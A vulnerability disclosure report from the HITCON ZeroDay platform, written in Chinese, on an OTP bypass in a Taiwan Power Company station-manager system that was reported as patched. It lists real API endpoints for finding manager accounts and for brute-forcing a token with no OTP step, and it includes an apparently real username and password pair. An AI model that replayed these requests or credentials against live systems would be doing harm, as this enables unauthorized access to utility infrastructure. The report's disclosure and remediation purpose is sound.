[Bounty] 台灣電力公司 繞過OTP驗證 - HITCON ZeroDay

Vulnerability Detail Report

Vulnerability Overview

  • ZDID: ZD-2022-00198
  •  發信 Vendor: 台灣電力公司
  • Title: [Bounty] 台灣電力公司 繞過OTP驗證
  • Introduction: 不需OTP驗證,只要有合法帳密即可登入後台管理系統

處理狀態

目前狀態

公開
Last Update : 2022/04/04
  • 新提交
  • 已審核
  • 已通報
  • 已修補
  • 已複測
  • 公開

處理歷程

  • 2022/03/11 22:16:24 : 新提交 (由 ccoozzyy 更新此狀態)
  • 2022/03/11 22:20:08 : 新提交 (由 ccoozzyy 更新此狀態)
  • 2022/03/13 14:35:14 : 審核中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2022/03/31 11:41:16 : 複測申請中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2022/03/31 23:09:54 : 確認已修補 (由 ccoozzyy 更新此狀態)
  • 2022/04/04 03:00:10 : 公開 (由 HITCON ZeroDay 平台自動更新)

詳細資料

  • ZDID:ZD-2022-00198
  • 通報者:ccoozzyy (ccoozzyy)
  • 風險:中
  • 類型:邏輯漏洞 (Logic Flaws)

參考資料

攻擊者可經由該漏洞繞過網站邏輯行為進行惡意攻擊。

漏洞說明: OWASP - Testing for business logic
https://www.owasp.org/index.php/Testing_for_business_logic

漏洞說明: CWE-840: Business Logic Errors
https://cwe.mitre.org/data/definitions/840.html
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)

相關網址

https://otpms.taipower.com.tw/Stationmanager/api/my/GetToken?UserId=&PassWord=

敘述

  1. 透過下列 API 查詢有 Manager 權限的帳號。
    https://otpms.taipower.com.tw/Stationmanager/api/db/SelectTableLike?Token=&TableName=userInfo&QueryObj={"isManager":1}&DBKey=
    圖片

  2. 透過下列 API 來暴破使用者密碼,可直接取得 Token,而不需 OTP 驗證碼。
    https://otpms.taipower.com.tw/Stationmanager/api/my/GetToken?UserId=tpgh&PassWord=wasd
    圖片

  3. 利用取得的 Token 即可登入管理者頁面。
    圖片

修補建議

1. 執行重要功能前需檢查權限是否合法。
2. 使用高強度的密碼原則。
3. 使用帳號鎖定機制,例如密碼錯誤3次以上便鎖定一段時間。
4. 若網站開啟了OTP驗證,那麼GetToken API就可關閉不使用,以免被攻擊者利用。

擷圖

留言討論

聯絡組織

 發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。
;